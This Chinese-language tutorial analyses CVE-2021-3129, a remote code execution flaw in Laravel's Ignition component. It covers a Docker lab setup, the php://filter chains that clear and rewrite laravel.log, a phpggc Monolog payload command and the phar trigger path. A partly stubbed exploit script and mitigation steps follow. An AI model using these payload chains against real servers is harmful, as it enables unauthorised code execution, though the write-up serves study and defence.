Laravel漏洞CVE-2021-3129分析
字数 1278 2025-08-15 21:33:28

Laravel漏洞CVE-2021-3129分析与利用教学文档

漏洞概述

CVE-2021-3129是Laravel框架中的一个高危漏洞,影响范围包括:

  • Laravel <= 8.4.2
  • Ignition < 2.5.2

该漏洞允许攻击者通过Ignition组件中的MakeViewVariableOptionalSolution功能,利用phar伪协议进行反序列化攻击,最终实现远程代码执行。

漏洞原理分析

核心漏洞点

漏洞存在于Ignition(<=2.5.1)中,默认提供的solutions功能中。具体来说:

  1. MakeViewVariableOptionalSolution类中的file_get_contents()函数参数可控
  2. 通过控制器调用MakeViewVariableOptionalSolution并传入可控的parameters参数
  3. 利用phar伪协议触发反序列化

技术背景

该漏洞利用了PHP的phar反序列化特性,与HITCON 2018的"One Line PHP Challenge"有相似之处:

  • 相似点:都利用了编码转换清除内容,使写入的文件内容绕过特定或冗余数据的限制
  • 不同点
    • One-line-php-challenge通过写入session文件利用文件包含getshell
    • CVE-2021-3129通过控制laravel.log最终反序列化执行命令

环境搭建

Docker环境构建

FROM php:7.4-apache
RUN set -ex \
 && apt-get update \
 && apt-get install -y --no-install-recommends unzip \
 && curl -#L -o /usr/local/bin/composer https://github.com/composer/composer/releases/download/1.10.19/composer.phar \
 && chmod +x /usr/local/bin/composer
RUN set -ex \
 && cd /var/www \
 && rm -rf html \
 && composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/ \
 && composer create-project laravel/laravel . "v8.4.2" \
 && sed -i -E 's|"facade/ignition"facade/ignition": "2.5.1"|g' composer.json \
 && composer update \
 && mv public html
RUN set -ex \
 && chown www-data:www-data -R /var/www \
 && a2enmod rewrite

构建并运行容器:

docker build . -t CVE_2021_3129
docker run -d -p 8080:80 CVE_2021_3129

漏洞利用详解

利用步骤概述

  1. 清空laravel.log内容
  2. 向log文件添加前缀
  3. 写入精心构造的payload
  4. 将log文件转换为phar格式
  5. 通过phar伪协议触发反序列化

详细利用过程

1. 清空laravel.log

使用多重编码转换清空log内容:

php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

技术原理

  • 直接使用base64 decode清空会有问题,因为等号后的内容会报错
  • 采用UTF-8转UTF-16 → quoted-printable编码 → UTF-16转UTF-8 → base64 decode的组合

2. 添加前缀

向log文件添加"AA"前缀,为后续phar文件做准备。

3. 写入payload

使用phpggc生成Monolog反序列化利用链:

php -d'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"

4. 转换log为phar

使用以下filter将log内容还原为phar格式:

php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

5. 触发反序列化

通过phar伪协议触发反序列化:

phar:///var/www/storage/logs/laravel.log/test.txt

自动化利用脚本

#! -*- coding:utf-8 -*-
import sys
import requests
import re

class Poc:
    # 清空log方法
    def clear_log(self, schema, host, port):
        # 实现代码见原文
    
    # 添加前缀方法
    def add_prefix(self, schema, host, port):
        # 实现代码见原文
    
    # 发送payload方法
    def send_payload(self, schema, host, port):
        # 实现代码见原文
    
    # 还原payload为phar格式
    def restore_payload(self, schema, host, port):
        # 实现代码见原文
    
    # 触发phar反序列化
    def phar_unserialize(self, schema, host, port):
        # 实现代码见原文
    
    # 主利用方法
    def crack(self, schema, host, port):
        for i in range(3):
            if self.clear_log(schema, host, port)==200:
                print("laravel log cleard")
                self.add_prefix(schema, host, port)
                self.send_payload(schema, host, port)
                if self.restore_payload(schema, host, port)==200:
                    print("successfully converted to phar")
                    resp_text=self.phar_unserialize(schema, host, port)
                    if "uid=" in resp_text and "gid=" in resp_text:
                        print("phar unserialize")
                        print(resp_text.split("\n")[-2])
                        break
                    else:
                        print("converted to phar fails")
                else:
                    print("laravel log clear fails")

if __name__ == "__main__":
    poc = Poc()
    poc.crack(sys.argv[1], sys.argv[2], sys.argv[3])

防御措施

  1. 升级Laravel框架至最新版本
  2. 升级Ignition组件至2.5.2或更高版本
  3. 禁用不必要的PHP伪协议
  4. 限制日志目录的写入权限

参考资源

  1. PHPGGC工具: https://github.com/ambionics/phpggc
  2. Laravel官方安全公告
  3. PHP伪协议文档

总结

CVE-2021-3129是一个典型的反序列化漏洞,通过精心构造的编码转换和phar协议利用,实现了从文件操作到代码执行的完整攻击链。理解该漏洞有助于深入掌握PHP反序列化漏洞的利用技巧和防御方法。

Laravel漏洞CVE-2021-3129分析与利用教学文档 漏洞概述 CVE-2021-3129是Laravel框架中的一个高危漏洞,影响范围包括: Laravel <= 8.4.2 Ignition < 2.5.2 该漏洞允许攻击者通过Ignition组件中的 MakeViewVariableOptionalSolution 功能,利用phar伪协议进行反序列化攻击,最终实现远程代码执行。 漏洞原理分析 核心漏洞点 漏洞存在于Ignition(<=2.5.1)中,默认提供的 solutions 功能中。具体来说: MakeViewVariableOptionalSolution 类中的 file_get_contents() 函数参数可控 通过控制器调用 MakeViewVariableOptionalSolution 并传入可控的 parameters 参数 利用phar伪协议触发反序列化 技术背景 该漏洞利用了PHP的phar反序列化特性,与HITCON 2018的"One Line PHP Challenge"有相似之处: 相似点 :都利用了编码转换清除内容,使写入的文件内容绕过特定或冗余数据的限制 不同点 : One-line-php-challenge通过写入session文件利用文件包含getshell CVE-2021-3129通过控制laravel.log最终反序列化执行命令 环境搭建 Docker环境构建 构建并运行容器: 漏洞利用详解 利用步骤概述 清空laravel.log内容 向log文件添加前缀 写入精心构造的payload 将log文件转换为phar格式 通过phar伪协议触发反序列化 详细利用过程 1. 清空laravel.log 使用多重编码转换清空log内容: 技术原理 : 直接使用base64 decode清空会有问题,因为等号后的内容会报错 采用UTF-8转UTF-16 → quoted-printable编码 → UTF-16转UTF-8 → base64 decode的组合 2. 添加前缀 向log文件添加"AA"前缀,为后续phar文件做准备。 3. 写入payload 使用phpggc生成Monolog反序列化利用链: 4. 转换log为phar 使用以下filter将log内容还原为phar格式: 5. 触发反序列化 通过phar伪协议触发反序列化: 自动化利用脚本 防御措施 升级Laravel框架至最新版本 升级Ignition组件至2.5.2或更高版本 禁用不必要的PHP伪协议 限制日志目录的写入权限 参考资源 PHPGGC工具: https://github.com/ambionics/phpggc Laravel官方安全公告 PHP伪协议文档 总结 CVE-2021-3129是一个典型的反序列化漏洞,通过精心构造的编码转换和phar协议利用,实现了从文件操作到代码执行的完整攻击链。理解该漏洞有助于深入掌握PHP反序列化漏洞的利用技巧和防御方法。